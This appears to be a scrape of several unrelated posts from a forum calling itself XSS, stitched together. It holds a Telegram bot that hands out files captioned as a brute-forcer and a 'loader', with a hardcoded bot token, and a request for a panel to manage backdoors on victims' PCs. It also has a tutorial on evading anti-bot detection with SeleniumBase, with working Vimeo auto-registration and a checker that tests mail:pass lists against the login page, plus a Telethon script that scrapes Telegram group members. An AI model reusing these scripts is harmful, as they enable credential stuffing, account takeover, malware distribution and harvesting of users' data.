db = Database('database.db')
#Работа с БД
class TextHandler(Filter):
def __init__(self, my_text: str) -> None:
self.my_text = my_text
async def __call__(self, message: Message) -> bool:
return message.text == self.my_text
# Включаем логирование, чтобы не пропустить важные сообщения
logging.basicConfig(level=logging.INFO)
# Объект бота
bot = Bot(token="7205615990:AAGNnnF4EtdMc3X0sho1nR2Xi8mTBeyg555") # Сюда вставляем токен от BotFather
# Диспетчер
dp = Dispatcher()
# Основные разделы бота
@dp.message(Command("start"))
async def cmd_start(message: types.Message):
#Создание клавиатуры
kb = [
[
types.KeyboardButton(text="Аудио, Звук"),
types.KeyboardButton(text="Web-разработка"),
types.KeyboardButton(text="Безопасность"),
types.KeyboardButton(text="Видео"),
types.KeyboardButton(text="Профиль"),
types.KeyboardButton(text="Подписка")
],
]
#Работа с БД
if(not db.user_exists(message.from_user.id)):
db.add_user(message.from_user.id)
await bot.send_message(message.from_user.id, "Укажите Ваш ник")
else:
await bot.send_message(message.from_user.id, "Вы зарегистрированы как: " + db.get_nickname(message.from_user.id), reply_markup=types.ReplyKeyboardMarkup(
keyboard=kb,
resize_keyboard=True,
input_field_placeholder="Выберите раздел с софтом"))
#Работа с БД
# Основные разделы бота
#Регистрация пользователя, работа с БД
@dp.message(TextHandler)
async def bot_message(message: types.Message):
kb = [
[
types.KeyboardButton(text="Аудио, Звук"),
types.KeyboardButton(text="Web-разработка"),
types.KeyboardButton(text="Безопасность"),
types.KeyboardButton(text="Видео"),
types.KeyboardButton(text="Профиль"),
types.KeyboardButton(text="Подписка")
],
]
if message.chat.type == "private":
if message.text == 'Профиль':
user_nickname = "Ваш ник: " + db.get_nickname(message.from_user.id)
await bot.send_message(message.from_user.id, user_nickname)
#Подразделы основных разделов бота
elif message.text == 'Аудио, Звук':
kb = [
[
types.KeyboardButton(text="DJ Студиии, микшеры"),
types.KeyboardButton(text="Tag редакторы"),
types.KeyboardButton(text="Грабберы, Рипперы"),
types.KeyboardButton(text="Караоке"),
types.KeyboardButton(text="Кодеки, декодеры"),
types.KeyboardButton(text="Конверторы"),
types.KeyboardButton(text="Плееры"),
types.KeyboardButton(text="Редакторы аудио"),
types.KeyboardButton(text="Утилиты, Плагины"),
types.KeyboardButton(text="Другое")
],
]
keyboard = types.ReplyKeyboardMarkup(
keyboard=kb,
resize_keyboard=True,
input_field_placeholder="Выберите подраздел с софтом"
)
await message.answer("Какой подраздел Вас интересует? Или нажмите /start чтобы вернуться в главное меню",
reply_markup=keyboard)
elif message.text == 'Web-разработка':
kb = [
[
types.KeyboardButton(text="ASP, PHP, Perl, CGI"),
types.KeyboardButton(text="CMS"),
types.KeyboardButton(text="Flash"),
types.KeyboardButton(text="HTML"),
types.KeyboardButton(text="Java, JavaScript"),
types.KeyboardButton(text="XML, RSS, CSS"),
types.KeyboardButton(text="SEO"),
types.KeyboardButton(text="Редакторы"),
types.KeyboardButton(text="Скрипты"),
types.KeyboardButton(text="Другое")
],
]
keyboard = types.ReplyKeyboardMarkup(
keyboard=kb,
resize_keyboard=True,
input_field_placeholder="Выберите подраздел с софтом"
)
await message.answer("Какой подраздел Вас интересует? Или нажмите /start чтобы вернуться в главное меню",
reply_markup=keyboard)
elif message.text == 'Безопасность':
kb = [
[
types.KeyboardButton(text="Firewalls"),
types.KeyboardButton(text="USB-Антивирусы"),
types.KeyboardButton(text="Антивирусы"),
types.KeyboardButton(text="Антишпионы"),
types.KeyboardButton(text="Загрузочные диски"),
types.KeyboardButton(text="Защита данных"),
types.KeyboardButton(text="Комплексная защита"),
types.KeyboardButton(text="Контроль доступа"),
types.KeyboardButton(text="Мониторинг, Анализ"),
types.KeyboardButton(text="Пароли"),
types.KeyboardButton(text="Шифрование"),
types.KeyboardButton(text="Другое")
],
]
keyboard = types.ReplyKeyboardMarkup(
keyboard=kb,
resize_keyboard=True,
input_field_placeholder="Выберите подраздел с софтом"
)
await message.answer("Какой подраздел Вас интересует? Или нажмите /start чтобы вернуться в главное меню",
reply_markup=keyboard)
elif message.text == 'Видео':
kb = [
[
types.KeyboardButton(text="Видео захват"),
types.KeyboardButton(text="Грабберы, Рипперы"),
types.KeyboardButton(text="Кодеки, декодеры"),
types.KeyboardButton(text="Конверторы"),
types.KeyboardButton(text="Плееры"),
types.KeyboardButton(text="Потоковое видео"),
types.KeyboardButton(text="Редакторы")
],
]
keyboard = types.ReplyKeyboardMarkup(
keyboard=kb,
resize_keyboard=True,
input_field_placeholder="Выберите подраздел с софтом"
)
await message.answer("Какой подраздел Вас интересует? Или нажмите /start чтобы вернуться в главное меню",
reply_markup=keyboard)
#Подразделы основных разделов бота
#Разделы с файлами Видео
elif message.text == 'Видео захват':
await message.answer_document(
document="BQACAgIAAxkBAAEr6vZmZ9YY2Av38FQU-h1lw6qX2G1icQACuEQAAluoQEtyxDUfl0jIrjUE",
caption="Лучший брутофорс version 999.0",
show_caption_above_media=True
)
elif message.text == 'Грабберы, Рипперы':
await message.answer_document(
document="BQACAgIAAxkBAAEr6vZmZ9YY2Av38FQU-h1lw6qX2G1icQACuEQAAluoQEtyxDUfl0jIrjUE",
caption="Лучший брутофорс version 999.0",
show_caption_above_media=True
)
elif message.text == 'Кодеки, декодеры':
await message.answer_document(
document="BQACAgIAAxkBAAEr6vZmZ9YY2Av38FQU-h1lw6qX2G1icQACuEQAAluoQEtyxDUfl0jIrjUE",
caption="Лучший брутофорс version 999.0",
show_caption_above_media=True
)
elif message.text == 'Конверторы':
await message.answer_document(
document="BQACAgIAAxkBAAEr6vZmZ9YY2Av38FQU-h1lw6qX2G1icQACuEQAAluoQEtyxDUfl0jIrjUE",
caption="Лучший брутофорс version 999.0",
show_caption_above_media=True
)
elif message.text == 'Плееры':
await message.answer_document(
document="BQACAgIAAxkBAAEr6vZmZ9YY2Av38FQU-h1lw6qX2G1icQACuEQAAluoQEtyxDUfl0jIrjUE",
caption="Лучший брутофорс version 999.0",
show_caption_above_media=True
)
elif message.text == 'Потоковое видео':
await message.answer_document(
document="BQACAgIAAxkBAAEr6vZmZ9YY2Av38FQU-h1lw6qX2G1icQACuEQAAluoQEtyxDUfl0jIrjUE",
caption="Лучший брутофорс version 999.0",
show_caption_above_media=True
)
elif message.text == 'Редакторы':
await message.answer_document(
document="BQACAgIAAxkBAAEr6vZmZ9YY2Av38FQU-h1lw6qX2G1icQACuEQAAluoQEtyxDUfl0jIrjUE",
caption="Лучший брутофорс version 999.0",
show_caption_above_media=True
)
await message.answer_document(
document="BQACAgIAAxkBAAEr6vZmZ9YY2Av38FQU-h1lw6qX2G1icQACuEQAAluoQEtyxDUfl0jIrjUE",
caption="Лучший брутофорс version 999.0",
show_caption_above_media=True
)
await message.answer_document(
document="BQACAgIAAxkBAAEr6vZmZ9YY2Av38FQU-h1lw6qX2G1icQACuEQAAluoQEtyxDUfl0jIrjUE",
caption="Лучший брутофорс version 999.0",
show_caption_above_media=True
)
await message.answer_document(
document="BQACAgIAAxkBAAEr6vZmZ9YY2Av38FQU-h1lw6qX2G1icQACuEQAAluoQEtyxDUfl0jIrjUE",
caption="Лучший брутофорс version 999.0",
show_caption_above_media=True
)
#Разделы с файлами Видео
# Регистрация пользователя, работа с БД
else:
if db.get_signup(message.from_user.id) == "setnickname":
if len(message.text) > 15:
await bot.send_message(message.from_user.id, "Никнейм не должен превышать 15 символов")
elif '@' in message.text or '/' in message.text:
await bot.send_message(message.from_user.id, "Вы ввели запрещенный символ")
else:
db.set_nickname(message.from_user.id, message.text)
db.set_signup(message.from_user.id, "done")
await bot.send_message(message.from_user.id, "Регистрация прошла успешно!", reply_markup=types.ReplyKeyboardMarkup(
keyboard=kb,
resize_keyboard=True,
input_field_placeholder="Выберите раздел с софтом"))
else:
await bot.send_message(message.from_user.id, "Не понимаю что Вы написали?")
#Регистрация пользователя, работа с БД
# Пример приклепления файлов, создаешь свой канал туда прикрепляешь дистрибутивы, в document вписывается fileid загруженного файла в телеграм, file id можно узнать переслав файл боту из канала, бот: https://t.me/RawDataBot
@dp.message(TextHandler("Bruteforce"))
async def send_gif(message: Message):
await message.answer_document(
document="BQACAgIAAxkBAAEr6vZmZ9YY2Av38FQU-h1lw6qX2G1icQACuEQAAluoQEtyxDUfl0jIrjUE",
caption="Лучший брутофорс version 999.0",
show_caption_above_media=True
)
await message.answer_document(
document="BQACAgIAAxkBAAEr6xNmZ9zWw6qlSQTpPmBXJFWX5TKdjAAC5EQAAluoQEumchavnYEjCzUE",
caption="Лучший loader по версии XSS",
show_caption_above_media=True
)
await message.answer_document(
document="BQACAgIAAxkBAAEr6xNmZ9zWw6qlSQTpPmBXJFWX5TKdjAAC5EQAAluoQEumchavnYEjCzUE",
caption="Лучший loader по версии XSS",
show_caption_above_media=True
)
await message.answer_document(
document="BQACAgIAAxkBAAEr6xNmZ9zWw6qlSQTpPmBXJFWX5TKdjAAC5EQAAluoQEumchavnYEjCzUE",
caption="Лучший loader по версии XSS",
show_caption_above_media=True
)
await message.answer_document(
document="BQACAgIAAxkBAAEr6xNmZ9zWw6qlSQTpPmBXJFWX5TKdjAAC5EQAAluoQEumchavnYEjCzUE",
caption="Лучший loader по версии XSS",
show_caption_above_media=True
)
@dp.message(TextHandler("Loader"))
async def send_gif(message: Message):
await message.answer_document(
document="BQACAgIAAxkBAAEr6xNmZ9zWw6qlSQTpPmBXJFWX5TKdjAAC5EQAAluoQEumchavnYEjCzUE",
caption="Лучший loader по версии XSS",
show_caption_above_media=True
)
await message.answer_document(
document="BQACAgIAAxkBAAEr6xNmZ9zWw6qlSQTpPmBXJFWX5TKdjAAC5EQAAluoQEumchavnYEjCzUE",
caption="Лучший loader по версии XSS",
show_caption_above_media=True
)
await message.answer_document(
document="BQACAgIAAxkBAAEr6xNmZ9zWw6qlSQTpPmBXJFWX5TKdjAAC5EQAAluoQEumchavnYEjCzUE",
caption="Лучший loader по версии XSS",
show_caption_above_media=True
)
await message.answer_document(
document="BQACAgIAAxkBAAEr6xNmZ9zWw6qlSQTpPmBXJFWX5TKdjAAC5EQAAluoQEumchavnYEjCzUE",
caption="Лучший loader по версии XSS",
show_caption_above_media=True
)
await message.answer_document(
document="BQACAgIAAxkBAAEr6xNmZ9zWw6qlSQTpPmBXJFWX5TKdjAAC5EQAAluoQEumchavnYEjCzUE",
caption="Лучший loader по версии XSS",
show_caption_above_media=True
)
logging.info("Бот запущен")
dp.run_polling(bot)
# Пример приклепления файлов, создаешь свой канал туда прикрепляешь дистрибутивы, в document вписывается fileid загруженного файла в телеграм, file id можно узнать переслав файл боту из канала, бот: https://t.me/RawDataBot
db.py: (Рега пользователей)
Python:Copy to clipboard
import sqlite3
#Объявляем нужный класс и функции для работы с БД SQLlite3
class Database:
def __init__(self, db_file):
self.connection = sqlite3.connect(db_file)
self.cursor = self.connection.cursor()
#Функция добавления пользователя в БД
def add_user(self, user_id):
with self.connection:
return self.cursor.execute("INSERT INTO users (user_id) VALUES (?)", (user_id,))
#Функция проверки пользователя в БД на данный момент
def user_exists(self, user_id):
with self.connection:
result = self.cursor.execute("SELECT * FROM users WHERE user_id = ?", (user_id,)).fetchall()
return bool(len(result))
#Функция регистрации никнейма в БД
def set_nickname(self, user_id, nickname):
with self.connection:
return self.cursor.execute("UPDATE users SET nickname = ? WHERE user_id = ?", (nickname, user_id,))
#Узнаем на каком этапер регистрации находится пользователь
def get_signup(self, user_id):
with self.connection:
result = self.cursor.execute("SELECT signup FROM users WHERE user_id = ?", (user_id,)).fetchall()
for row in result:
signup = str(row[0])
return signup
#Функция изменения этапа регистрации пользователя в БД
def set_signup(self, user_id, signup):
with self.connection:
return self.cursor.execute("UPDATE users SET signup = ? WHERE user_id = ?", (signup, user_id,))
#Профиль в БД
def get_nickname(self, user_id):
with self.connection:
result = self.cursor.execute("SELECT nickname FROM users WHERE user_id = ?", (user_id,)).fetchall()
for row in result:
nickname = str(row[0])
return nickname
Полезно ли параллельно с углублением в змея изучать C.
Основные мысли, которые наталкивают на этот вопрос:
1)C вроде как база, и углубляясь в си, становится многое ясно как для
программиста
2)C имеет возможность тебе объяснить компуктер сайнс на практике, работа с
железом/памятью, таким образом у тебя больше в арсенале маневром для
оптимизации кода на питон, проводя параллель при разработке
3)Большое количество либ для питона на C, соответственно(не уверен) имеется
возможность кастомизировать или вовсе создавать свои модули, которые в
дальнейшем будут необходимы тебе как разрабу на python
i want to create a webpanel. when my backdoor script is run on victims PC. i want the panel to pop up and show 1 by 1 . so how do i write the code and which libs is best for it .. i have already have backdoors and malware ready. but dont know how to start it . a small guide on which ports to use and every single scripts should have different ports correct? please just a small brief will be good for me
thank you
Автор: shqnx
Специально для XSS
Всех рад поприветствовать в данной статье, которая будет посвящена обзору и практическому применению SeleniumBase. Без лишних слов сразу к делу.
Учим матчасть
Что вообще такое SeleniumBase и почему вы, вероятнее всего, о нем не
слышали?
Начнем с того, что SeleniumBase - это универсальный Python-фреймворк для
автоматизации браузеров, включающий в себя веб-краулинг, скраппинг,
тестирование и отчетность.
Мое знакомство с SeleniumBase произошло относительно недавно. Я писал регчекер на ванильном Selenium и столкнулся с рядом проблем, а именно то, что сайт легко детектил использование Selenium и ограничивал возможность войти / попытаться войти в аккаунт. Тогда я начал ресерчить и спустя N-ное количество времени и просмотренных ресурсов совершенно случайно наткнулся на данный фреймворк. Немного разобравшись с документацией я обнаружил замечательный режим, а именно UC-Mode (Undetected-Chromedriver Mode), о котором мы поговорим чуть-чуть позже. Использование этого режима помогло мне все же закончить работу над регчекером, ведь сайт действительно перестал детектить использование каких-либо средств для автоматизации браузера и каждая новая инстанция выглядела для него как абсолютно нормальный человеческий браузер.
Я заметил, что в русскоязычном пространстве мало кто вообще знает о существовании этого инструмента. Либо, по крайней мере, никто не хочет рассказывать о его использовании, не выдавая своих "шеф-поварских" рецептов. Если вы относитесь к данному типу людей, то публично извиняюсь перед вами за раскрытие ваших секретиков, не держите на меня зла =)
Чем SeleniumBase отличается от сырого Selenium?
1. SeleniumBase использует API Selenium/WebDriver и включает в себя
прогонщики тестов, такие как pytest, pynose и behave, чтобы обеспечить
организованную структуру, обнаружение тестов, их выполнение, состояние тестов
(например, пройден, не пройден или пропущен) и опции командной строки для
изменения параметров по умолчанию (например, выбор браузера). В сыром Selenium
вам придется настроить собственный парсер опций для конфигурирования тестов из
командной строки.
2. Менеджер драйверов SeleniumBase дает вам больше контроля над автоматической загрузкой драйверов. По умолчанию SeleniumBase загружает версию драйвера, соответствующую основной версии браузера, если она не задана.
3. SeleniumBase автоматически различает CSS-селекторы и XPath, что означает, что вам не нужно указывать тип селектора в ваших командах (но опционально вы можете).
3. Методы SeleniumBase часто выполняют несколько действий в одном вызове метода. Например, self.type(selector, text) выполняет следующие действия:
4. SeleniumBase использует значения таймаута по умолчанию, если они не заданы:
self.click("button")
Click to expand...
В сыром Selenium методы мгновенно (по умолчанию) завершались, если элементу требовалось больше времени для загрузки:
self.driver.find_element(by="css selector", value="button").click()
Click to expand...
5. SeleniumBase позволяет изменять явные значения таймаута методов:
self.click("button", timeout=10)
Click to expand...
В сыром Selenium для этого требуется больше кода:
WebDriverWait(driver, 10).until(EC.element_to_be_clickable("css selector", "button")).click()
Click to expand...
6. SeleniumBase выводит чистые сообщения об ошибках, когда тест не работает. В необработанном Selenium сообщения об ошибках могут быть очень запутанными.
7. SeleniumBase дает возможность генерировать дэшборды и отчеты по тестам. Он также сохраняет скриншоты неудачных тестов в папке ./latest_logs/. Голый Selenium не имеет этих опций из коробки.
8. SeleniumBase включает в себя настольные приложения с графическим интерфейсом для запуска тестов, такие как SeleniumBase Commander для pytest и SeleniumBase Behave GUI для behave.
9. SeleniumBase имеет свой собственный Recorder / Test Generator для создания тестов из ручных действий браузера.
10. SeleniumBase поставляется с программным обеспечением для управления тестовыми случаями ("CasePlans") для организации тестов и описания шагов.
11. SeleniumBase включает инструменты для создания приложений для работы с данными ("ChartMaker"), которые могут генерировать JavaScript из Python.
Я думаю всем наглядно видно, что SeleniumBase во многом превосходит обыкновенный Selenium и не удивлюсь, если после данной статьи многие (если не все) из тех, кто раньше использовал голый Selenium, пересядут на SeleniumBase =)
Ну а теперь перейдем к сладенькому, а именно к краткому экскурсу по UC-Mode и к практической части использования SeleniumBase в живой природе.
Пробежимся более детально по самому UC-Mode и тому, что он из себя представляет:
SeleniumBase UC Mode (Undetected-Chromedriver Mode) позволяет ботам принимать человеческий облик, что позволяет им избегать обнаружения со стороны антибот- сервисов, которые пытаются их блокировать, или запускать капчу на различных сайтах.
Режим UC Mode основан на undetected-chromedriver, но содержит множество обновлений, исправлений и улучшений для поддержки более широкого спектра функций и побочных ситуаций:
Что делает UC Mode для того, чтобы боты выглядели как люди?
Если вы запускаете Chrome с помощью chromedriver, то в настройках будут присутствовать параметры, которые сделают ваш браузер похожим на бота. Вместо этого UC Mode подключает chromedriver к Chrome после запуска браузера, что делает Chrome похожим на обычный веб-браузер, управляемый человеком.
Пока chromedriver подключен к Chrome, службы веб-сайта могут его обнаружить. К счастью, в сыром Selenium уже есть driver.service.stop() для остановки службы chromedriver, driver.service.start() для запуска службы chromedriver и driver.start_session(capabilities) для оживления активной сессии браузера с заданными capabilities. Методы SeleniumBase UC Mode автоматически используют эти необработанные методы Selenium по мере необходимости.
Также обратите внимание, что chromedriver не обнаруживается на вкладке браузера, если он никогда не заходит на эту вкладку. Вот команда JS, которая позволяет открыть URL в новой вкладке (из текущей вкладки):
window.open("URL");
Click to expand...
Приведенный выше метод JS используется в методах SeleniumBase UC Mode для скрытого открытия URL-адресов. Поскольку некоторые веб-сайты пытаются определить, является ли ваш браузер ботом при начальной загрузке страницы, это позволяет обойти обнаружение в таких ситуациях. Через несколько секунд (настраиваемых) UC Mode сообщает chromedriver о подключении к этой вкладке, чтобы теперь можно было выполнять автоматические команды. В этот момент chromedriver может быть обнаружен, если веб-сайты ищут его (но обычно веб- сайты ищут его только во время определенных событий, таких как загрузка страницы, отправка формы и нажатие кнопки).
Избежать обнаружения во время клика легко, если запланировать клики на будущее время, когда служба chromedriver будет остановлена. Вот команда JS, позволяющая запланировать события (например, щелчки) на будущее:
window.setTimeout(function() { SCRIPT }, MS);
Click to expand...
Приведенный выше JS-метод используется в методе SeleniumBase UC Mode: driver.uc_click(selector), чтобы нажатие было незаметным. UC Mode планирует ваш клик, отключает chromedriver от Chrome, немного ждет (настраивается) и снова подключается.
Практическая часть
А теперь, основываясь на вышеприведенной информации, мы напишем несколько
скриптов с использованием Selenium UC Mode:
В качестве подопытного я выбрал сайт vimeo.com
Почтовик взял с сайта disposablemail.com
1) Простой авторегер
Для того, чтобы сделать такой авторегер фактически для любого сайта, нам
необходимо посмотреть id необходимых для нас элементов и в целом понимать
логику панели входа.
Заходим на страницу регистрации конечного сайта, ищем поле ввода login /
email, жмякаем ПКМ и смотрим код:
Нас интересует исключительно id инпута, а именно email_login:
В данном примере нажатие на Enter эквивалентно нажатию на кнопку "Continue
with email", поэтому после ввода email я прописал \n, чтобы эмулировать
нажатие на кнопку. На некоторых сайтах это не работает, особенно банки любят
делать свои странички входа с невозможностью входа по нажатию Enter. В таком
случае придется прописывать отдельно нажатие на кнопку (в следующих примерах
это есть, читайте дальше).
Абсолютно аналогично поступаем с другими нужными нам полями.
Python:Copy to clipboard
from seleniumbase import SB
# Инициализация SeleniumBase
with SB(uc=True) as sb:
# Задаем URL для регистрации на Vimeo
url = "https://vimeo.com/join"
# Открываем браузер и переходим по URL
sb.driver.get(url)
# Вводим email для регистрации
sb.type("#email_login", "trenton.emrick@dockerbike.com\n")
# Вводим имя пользователя
sb.type("#name", "John Doe")
# Вводим пароль для регистрации
sb.type("#password_login", "XSS_password123\n")
# Проверяем, успешно ли прошла регистрация, ожидая появления указанного текста на странице
if sb.assert_text("You’re all signed up! Get even more from Vimeo.", timeout=15):
print("Регистрация прошла успешно.")
else:
print("Регистрация не прошла успешно.")
Для открытия браузера и перехода по URL я использовал метод driver.get(), можно также использовать driver.default_get() - это будет быстрее, однако Selenium может быть обнаружен.
2) Простой регчекер
Здесь нам уже придется ожидать появления каких-либо ошибок после ввода
некорректных / не валидных данных для входа.
Для этого на помощь приходит метод wait_for_element_visible().
Аналогично тыкаем на ошибку ПКМ и смотрим код:
Данная ошибка находится в span-контейнере:
Нам необходимо скопировать его класс. Если в классе встречаются пробелы, в
нашем скрипте необходимо заменить их на точки. Перед классом идет название
элемента. Вот то, что в конечном итоге должно выйти:
span.sc-jRQBWg.gFTdpF.sc-dJjYzT.doitBf
Click to expand...
Сейчас мы рассмотрели ошибку, которая появляется при вводе корректных, но не
валидных данных.
На сайте Vimeo также присутствует ошибка, которая говорит о том, что мы ввели
некорректный email:
У данных ошибок один и тот же span с одинаковым классом, поэтому мы не
обозначаем ее как-то по-особенному в коде. Однако в других примерах это не
обязательно будет точно так же.
Пример с валидными данными после того, как мы запустили наш авторегер из пункта (1):
Python:Copy to clipboard
from seleniumbase import SB
with SB(uc=True) as sb:
# URL для страницы входа на Vimeo
url = "https://vimeo.com/log_in"
# Открываем страницу входа
sb.open(url)
# Вводим email для входа
sb.type("#email_login", "trenton.emrick@dockerbike.com")
# Вводим пароль для входа
sb.type("#password_login", "XSS_password123\n")
try:
# Ожидаем появления элемента, указывающего на не валидный аккаунт
sb.wait_for_element_visible("span.sc-jRQBWg.gFTdpF.sc-dJjYzT.doitBf", timeout=5)
# Выводим сообщение, что аккаунт не является валидным
print("Аккаунт не является валидным.")
except:
# Если элемент не был найден (аккаунт валиден), выводим сообщение о валидности аккаунта
print("Аккаунт является валидным.")
Пример с не валидными данными после того, как мы запустили наш авторегер из пункта (1):
Python:Copy to clipboard
from seleniumbase import SB
with SB(uc=True) as sb:
# URL для страницы входа на Vimeo
url = "https://vimeo.com/log_in"
# Открываем страницу входа
sb.open(url)
# Вводим email для входа
sb.type("#email_login", "trenton.emrick@dockerbike.com")
# Вводим пароль для входа
sb.type("#password_login", "XSS_password12345\n")
try:
# Ожидаем появления элемента, указывающего на не валидный аккаунт
sb.wait_for_element_visible("span.sc-jRQBWg.gFTdpF.sc-dJjYzT.doitBf", timeout=5)
# Выводим сообщение, что аккаунт не является валидным
print("Аккаунт не является валидным.")
except:
# Если элемент не был найден (аккаунт валиден), выводим сообщение о валидности аккаунта
print("Аккаунт является валидным.")
3) Не настолько простой авторегер
Сейчас я хочу сделать авторегер, который будет для каждого нового аккаунта
автоматически брать новую почту с disposablemail.com, а также генерировать
уникальный пароль и записывать все полученные аккаунты в файл vimeo.txt.
Тут реализовано нажатие на кнопку посредствами SeleniumBase в качестве примера, суть фактически такая же, как и с инпутами, думаю не стоит это объяснять в очередной раз.
Приступим:
Python:Copy to clipboard
import time
import random
import string
from seleniumbase import SB
def generate_password():
# Генерация пароля по требованиям Vimeo
special_chars = string.punctuation
all_chars = string.ascii_letters + string.digits + special_chars
password = random.choice(string.ascii_letters) # Выбор случайной буквы
password += random.choice(string.digits) # Выбор случайной цифры
password += random.choice(special_chars) # Выбор случайного спец. символа
password += ''.join(random.choice(all_chars) for _ in range(5)) # Добавление 5 случайных символов
return ''.join(random.sample(password, len(password))) # Перемешивание символов и возврат пароля
def get_temp_email():
# Получаем временный email
with SB(uc=True) as sb:
sb.open("https://www.disposablemail.com/")
temp_email = sb.get_text("#email.animace") # Парсим ящик
return temp_email.strip() # Удаление лишних пробелов
def save_to_file(email, password):
# Сохранение email и пароля в файл
with open("vimeo.txt", "a") as file:
file.write(f"{email}:{password}\n") # Запись email и пароля в файл
def register_vimeo_account(email, password):
# Регистрация аккаунта на Vimeo
with SB(uc=True) as sb:
sb.open("https://vimeo.com/join") # Открытие страницы регистрации Vimeo
sb.type("#email_login", email) # Ввод временного email
sb.click("button.sc-hKwDye.VlVUN.sc-12pmyy6-0.hQugVo") # Клик по кнопке Continue with email
sb.type("#name", "John Doe") # Ввод имени пользователя
sb.type("#password_login", password) # Ввод пароля
sb.click("button.sc-hKwDye.ftUpkC.sc-8u8vw5-1.lcmDrY.styledCta") # Клик по кнопке "Join Vimeo"
# Проверка успешности регистрации
if sb.assert_text("You’re all signed up! Get even more from Vimeo.", timeout=15):
print("Регистрация прошла успешно.")
else:
print("Регистрация не прошла успешно.")
if __name__ == "__main__":
temp_email = get_temp_email() # Получение временного email
password = generate_password() # Генерация пароля
save_to_file(temp_email, password) # Сохранение email и пароля в файл
register_vimeo_account(temp_email, password) # Регистрация аккаунта на Vimeo
4) Не настолько простой регчекер
Тут в качестве более наглядного примера использования я сделал регчекер,
который берет mail:pass из базы с именем vimeo.txt и разделяет результаты по
файлам:
Python:Copy to clipboard
from seleniumbase import SB # Импортируем класс SB из библиотеки seleniumbase
# Открываем файлы для записи валидных и невалидных аккаунтов
valid_file = open("valid.txt", "a")
invalid_file = open("invalid.txt", "a")
# Читаем строки из файла "vimeo.txt"
with open("vimeo.txt", "r") as file:
lines = file.readlines()
# Цикл
while True:
# Проходимся по каждой строке из файла "vimeo.txt"
for line in lines:
# Разделяем строку на email и пароль
email, password = line.strip().split(":")
# Создаем экземпляр SB (SeleniumBase) с параметром uc=True
with SB(uc=True) as sb:
# Открываем страницу входа Vimeo
url = "https://vimeo.com/log_in"
sb.open(url)
# Вводим email и пароль в соответствующие поля
sb.type("#email_login", email)
sb.type("#password_login", password + "\n")
try:
# Ждем, пока появится элемент, указывающий на ошибку входа
sb.wait_for_element_visible("span.sc-jRQBWg.gFTdpF.sc-dJjYzT.doitBf", timeout=5)
# Если элемент появился, значит аккаунт не валиден
print(f"Аккаунт {email} не является валидным.")
# Записываем аккаунт в файл невалидных аккаунтов
invalid_file.write(f"{email}:{password}\n")
except:
# Если элемент не появился, значит аккаунт валиден
print(f"Аккаунт {email} является валидным.")
# Записываем аккаунт в файл валидных аккаунтов
valid_file.write(f"{email}:{password}\n")
# Закрываем файлы после окончания работы
valid_file.close()
invalid_file.close()
Я хочу спросить программистов на Python, если вы продвинутый программист на
Python, сколько денег вы можете заработать?
я имею в виду здесь, на форумах, я действительно хочу учиться, но моя цель -
зарабатывать деньги, можно ли хорошо зарабатывать, если вы хорошо разбираетесь
в Python
Спасибо за ответ
Fetching Telegram Group Participants with Telethon: A Comprehensive Guide
Hello guys , its LC again
today we are here to create a script that can perform OSINT on telegram group
chat users
Telegram, known for its robust security and rich features, has become a popular messaging platform worldwide. For developers, Telegram offers a comprehensive API that allows for extensive programmatic interaction. One powerful library for interfacing with the Telegram API is Telethon.
In this article, we will dive into a Python script that utilizes Telethon to retrieve participants from a Telegram group. We will break down the script, explain each component in detail, and ensure you gain thorough understanding of how it works. By the end of this guide, you'll be able to modify and use the script for your own projects.
Setting Up Your Environment
Before we dive into the script, you need to set up your environment by installing the Telethon library. You can do this using pip:
Python:Copy to clipboard
pip install telethon
Telethon is a Python library that provides a straightforward interface for interacting with the Telegram API, allowing you to automate tasks such as sending messages, downloading media, and managing groups.
Required Imports
To start, we import several components from the Telethon library:
Python:Copy to clipboard
from telethon import TelegramClient
from telethon.tl.functions.channels import GetParticipantsRequest
from telethon.tl.types import ChannelParticipantsRecent
- TelegramClient: The main client class for interacting with the Telegram
API.
- GetParticipantsRequest: A request type used to fetch the participants of a
Telegram channel.
- ChannelParticipantsRecent: A filter type to specify that we want the recent
participants of a channel.
API Credentials
To interact with the Telegram API, you need API credentials (API ID and API Hash), which can be obtained by creating an application on telegram api website .
**here is the process you need to go through:
-1. first go to the website that i mentioned earlier**
-2. fill the form and put your account number there.
**-3. click on the api development tools
-4. fill the form and get your api id and api hash**
Set up these credentials in your script as follows:
Python:Copy to clipboard
api_id = 'YOUR_API_ID'
api_hash = 'YOUR_API_HASH'
group_link = 'https://t.me/chat' # The link to the group
Replace 'YOUR_API_ID' and 'YOUR_API_HASH' with your actual credentials. The
'group_link' is the URL of the Telegram group you want to retrieve
participants from.
**
Initializing the Telegram Client**
Next, we initialize the Telegram client using the API credentials:
Python:Copy to clipboard
client = TelegramClient('session', api_id, api_hash)
The 'session' parameter is the name of the session file that will be created
to store your session details. This file helps maintain your session state
between script runs, avoiding the need to re-authenticate every time you run
the script.
**
Defining the Async Function to Get Group Participants**
We define an asynchronous function 'get_group_participants' that takes a group link as an argument and fetches the participants of the group:
Python:Copy to clipboard
async def get_group_participants(group_link):
async with client:
await client.start()
entity = await client.get_entity(group_link)
offset_user = 0 # Starting value of the user index
limit_user = 200 # Number of users to retrieve in each request
all_participants = [] # List to hold all the participant details
while True:
participants = await client(GetParticipantsRequest( entity, ChannelParticipantsRecent(), offset_user, limit_user, hash=0 ))
if not participants.users:
break
for user in participants.users:
user_data = { 'id': user.id, 'username': user.username, 'access_hash': user.access_hash, }
all_participants.append(user_data)
offset_user += len(participants.users)
return all_participants
1.Explanation of****get_group_participants
-1.1 Start the Client Session
Python:Copy to clipboard
async with client:
await client.start()
This ensures that the client session is properly started and will be closed correctly when done. The 'async with' statement ensures that the client is properly initialized and that the session is managed correctly within the block.
-1.2 Convert Group Link to Entity
Python:Copy to clipboard
entity = await client.get_entity(group_link)
This line converts the group link into an entity that the Telegram API can understand. An entity is a fundamental object in Telegram's API representing users, chats, and channels.
-1.3 Initialize Pagination Variables
Python:Copy to clipboard
offset_user = 0
limit_user = 200
These variables help paginate through the list of participants. 'offset_user'
is the starting index for the participants, and 'limit_user' is the number of
users to fetch in each request. Setting these up allows us to handle groups
with a large number of participants.
**
-1.4 Initialize Participant List**
Python:Copy to clipboard
all_participants = []
This list will store the details of all participants fetched from the group. We will append each participant's data to this list as we retrieve them.
-1.5 Fetch Participants in a Loop
Python:Copy to clipboard
while True:
participants = await client(GetParticipantsRequest( entity, ChannelParticipantsRecent(), offset_user, limit_user, hash=0 ))
if not participants.users:
break
for user in participants.users:
user_data = { 'id': user.id, 'username': user.username, 'access_hash': user.access_hash, }
all_participants.append(user_data)
offset_user += len(participants.users)
